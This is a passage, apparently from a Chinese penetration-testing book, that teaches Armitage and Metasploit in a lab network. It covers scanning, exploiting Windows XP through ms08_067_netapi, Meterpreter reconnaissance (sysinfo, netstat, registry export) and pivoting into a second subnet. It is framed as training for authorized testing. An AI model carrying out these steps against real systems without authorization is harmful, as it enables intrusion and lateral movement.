此时,我们应该已经熟悉了使用“老派”手动利用的方法。了解渗透测试的细节将增加在出现问题时排除更强大工具的能力。这也让你足够自信,最终能够创建自己的模块和概念验证利用代码。渗透测试的过程在每次测试中并不会真正改变:枚举和数据收集,利用,然后是后期利用。然而,可以使用许多不同的工具和方法来完成这些任务。在本节中,我们将利用 Armitage 的简便性和易用性,根据其网站和作者的说法,Armitage 是一个“Metasploit 的全面红队协作工具…” - www.fastandeasyhacking.com/manual 。Armitage 是由 Raphael Mudge 创建的,可以在fastandeasyhacking.com/
上免费获取,并且也预装在 BackTrack 上。该网站上免费提供的手册写得很好,易于理解。
打开一个新的终端,输入:
# msfupdate
这将更新你的 BackTrack 机器上的 Metasploit 框架。你需要连接到互联网才能使这个命令正常工作。
# armitage
这个命令将调用 armitage 程序。当Connect…窗口出现时,点击Connect按钮。当询问是否要连接 Metasploit RPC 服务器时,选择Yes。第一次运行 Armitage 可能需要几分钟才能完全加载。
在继续之前,请花一些时间熟悉 Armitage 图形用户界面。
枚举
Armitage 允许使用多种方法来收集数据。我们将使用 nmap 功能来查看样本网络上的内容。在 Armitage 顶部导航栏中选择Hosts | Nmap Scan | Quick Scan (OS detect)。
输入192.168.75.0/24
来扫描正确的 VLAN1 子网。
扫描将需要一些时间来完成。完成后,将会出现一条消息,指出扫描已经完成,应该使用Find Attacks选项来…找到攻击。
如果网络设置正确,你应该会看到类似以下截图的内容:
就是这样!我们已经成功枚举了 VLAN1 网络,并且我们的系统在 Armitage 中以图形方式显示出来。
利用
使用 Armitage 进行利用是一件轻而易举的事情,非常简单,所以在选择目标时必须非常小心。确保枚举的目标在范围内后,选择Attacks | Find Attacks。当过程完成后,将弹出一个窗口,指出分析已经完成。
现在是时候利用 ms08_067 漏洞接管这台 Windows XP 机器了。很少有漏洞利用像这样一致和简单。在工作区中右键单击 Windows 系统图标,选择Attack | smb | ms08_067_netapi。
配置菜单将会出现。一切都将填写完毕,准备就绪。点击Launch继续。
如果一切正常工作,工作区中的图标将会变成类似以下截图的内容:
闪电图标是一个图形指示器,表明你已成功攻陷了这台机器。
连接成功,接下来呢?
恭喜,Windows 系统已被攻破,我们现在能够利用 Armitage 和 Meterpreter 的组合来执行我们的后期渗透过程。通过右键单击受损机器的图像,我们可以从一个大型菜单中进行选择。让我们首先通过右键单击主机并选择Meterpreter <#>| Explore | Browse Files来查看目标系统上的内容。我们不仅可以看到一个很好的文件列表,而且它还是一个易于使用的图形浏览器格式。对于那些更喜欢图形界面而不是命令行的人来说,这应该是一种清新的空气!
使用菜单,我们可以快速查看系统进程,同时使用Meterpreter 3 | Explore | Show Processes菜单选项:
无论操作系统如何,我们仍然需要知道我们在目标系统上有哪些类型的工具可用。确定我们正在与什么类型的系统进行交互也非常重要。这可以通过查看运行的进程、安装的软件、用户历史等来确定。我们需要利用 meterpreter shell 来获取一些这些数据。
我们应该从一些更基本的命令开始。在 Armitage 中右键单击受损系统,选择Meterpreter 3 | Interact | Meterpreter Shell。在 meterpreter 提示符下输入sysinfo
。
根据这里的输出,我们可以确定我们正在访问一个基于 x86 的 Windows XP service pack 2 机器。让我们获取一些关于受损系统的更多信息。
网络详细信息
与 Linux 一样,尽快收集网络信息非常重要。Meterpreter 允许使用ipconfig
命令。
这绝对是在现实世界中看到的一种令人愉悦的信息。这个特定的系统有两张不同的网络卡,而且这个系统可能被用来探索 192.168.50.0/24 网络的可能性很高。在我们继续之前,我们应该查看一下路由表和其他网络信息。
route 命令消除了我们可能对第二个网络卡只是一种干扰的任何疑虑。为了更好地了解我们在这里有什么,我们应该进一步查看详细信息。让我们在受损主机上启动一个 shell。这可以通过在 meterpreter 控制台中输入shell
来获得。打开一个 shell 并浏览到c:\windows\system32\drivers\etc
目录。
shell
c:\> cd windows\system32\drivers\etc
我们可以使用 type 命令来查看主机文件,这与 Unix 中的 cat 非常相似。
c:\WINDOWS\system32\drivers\etc> type hosts
这里没有什么非常有趣的东西;你找到的每个文件都不会引发戏剧性和令人兴奋的发现。尽管如此,尽可能彻底地进行调查仍然非常重要。渗透测试可能非常类似于侦探工作,你不断寻找将引导下一步的线索。
提示
记住,type 命令的使用方式与在 Unix 或 Linux 环境中使用 cat 命令的方式一样。
现在我们需要确定是否有任何有趣的网络连接来自这台机器。这些连接很可能会引导我们找到下一个目标,并帮助我们设置整体优先级。你测试网络的时间几乎肯定是有限的,你应该专注于最有吸引力的目标,以确保效率。记住要寻找的不仅仅是在机器上获取 shell;业务部门需要了解他们真正的暴露情况,而不是看到你能攻破多少未知系统。
我们可以使用netstat -an
来查看连接,就像我们之前在 Linux 上做的那样:
现在我们有了一些有趣的东西。看看这个主机和192.168.50.103
端口80
之间的连接。看起来我们可能在那台机器上运行一个 web 服务器!这绝对是个好消息。在这一点上,我们似乎在 192.168.50.0/24 网络上有更多有趣的设备,而不是在 192.168.75.0/24 子网上。如果目标机器上存在这些工具,我们可以从这台主机上启动扫描。
查找安装的软件和工具
在这一点上,我们已经审查了本地进程、网络连接,并且可以访问文件结构。现在我们可能想要查看一下这个系统可以访问的其他网络,并确定是否安装了 nmap 或其他有价值的工具。这是我们如何在基于 Windows 的操作系统上find
信息的方法。这是一个变通方法,因为在 Windows 系统上似乎没有locate
或which
的直接替代品:
c:\> dir c:\ /s /b | find /i "important"
这个命令将所有目录传输到 find 命令中,find 命令将查找文件名中的 NMAP 字符串"important",不区分大小写。
注意
请注意,当使用 BackTrack 5 R1 时,这个命令有时会导致 Armitage 卡住。如果是这种情况,你需要重新启动 Armitage。
当试图查找任何安装的软件或尝试定位有趣的文件时,这个命令会派上用场。
在 Windows 机器上找到安装的软件的简单方法是查看安装的程序,特别是在桌面上;系统很可能有所有默认的 Windows 工具。你感兴趣的是更隐晦的项目,比如 TFTP 服务器或网络扫描器,你可以利用它们。
让我们用老式的reg.exe
方法来查看安装的程序:
reg export HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall tmp.txt
使用这个命令,我们导出了HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall
键中包含的注册表信息。我们可以直接使用 type 命令查看结果:
type tmp.txt
这个文件的一部分确实很有趣。看看 virtualbox guest additions 字段。在这一点上,我们应该开始意识到我们可能正在处理一个虚拟化系统。当然,理想情况下,我们应该下载整个注册表,因为其中有大量的数据可供筛选。没有必要连接到机器上比你需要的时间更长。
提示
在这一点上,你应该能够有条不紊地查看注册表和文件系统,并找到你需要的东西。如果你真的想了解更多关于后期利用的知识,我认为没有比从 DerbyCon 2011 的 Carlos Perez 的演讲"战术后期利用"开始更好的地方了。你可以在 Adrian Crenshaw 的网站上找到这个和许多其他精彩有趣的演讲的链接:www.irongeek.com。
枢纽
Armitage 使得枢纽变得微不足道。我们知道从受损的 Windows 机器上有另一个网络可供我们使用,现在只是能够扫描网络并从这个系统发动攻击的问题。有手动方法可以实现这一点,但最简单的方法是在 Armitage 中右键单击目标机器的图形表示,然后选择你的Meterpreter | Pivoting | Setup选项。
你将看到一个菜单,选择你的枢纽点。选择192.168.50.0
,然后点击添加枢纽。
这将添加正确的路由信息,允许你通过受害机器执行扫描和其他攻击。让我们试一试:
-
选择你受损的 Windows 机器。
-
在顶部导航栏中选择主机 | MSF 扫描。
-
在
192.168.50.0/24
中输入并继续。这可能需要一些时间。 -
审查发现并从顶部攻击菜单中选择查找攻击。
您应该看到类似以下截图:
右键单击您新发现的主机,并选择扫描以获取有关系统的更多信息。绿色线提供了有关您的枢纽点经过的系统的指导。在处理大型多样化网络时,这可能特别有用。
总结
在本章中,我们已经回顾了定位和收集受损主机信息所需的步骤。我们还讨论了不当准备所涉及的风险,以及在任何测试发生之前,协议的规则是多么重要的,并且必须严格遵守。此外,我们还提供了您理解后渗透思维过程所需的基本信息,以及确保成功渗透测试所需的步骤。
重要的是要记住,还有其他命令、工具和方法应该在窃取目标系统时使用。记住要专注于目标,不要浪费太多时间尝试挖掘对测试没有益处的信息。每个测试团队(和测试人员)都有一套他们喜欢的命令和输出格式,只要找到关键信息即可。
在这一点上,建议开始习惯记录您的工作。我们将在未来的章节中更多地讨论报告,但请记住,为了报告,您将需要数据。同样重要的是,要记录您可能在远程系统上运行的任何和所有系统命令,以防以后出现问题,或者您只是想再次重复确切的测试,以查看是否已经在保护相关单位方面取得了进展。
在下一章中,我们将深入探讨绕过防火墙和避免入侵检测系统。这在测试环境以及站点的安全和网络人员的响应时非常重要。我们将介绍绕过入侵检测系统背后的逻辑,以及如何模仿常见的流量模式以避免被检测到。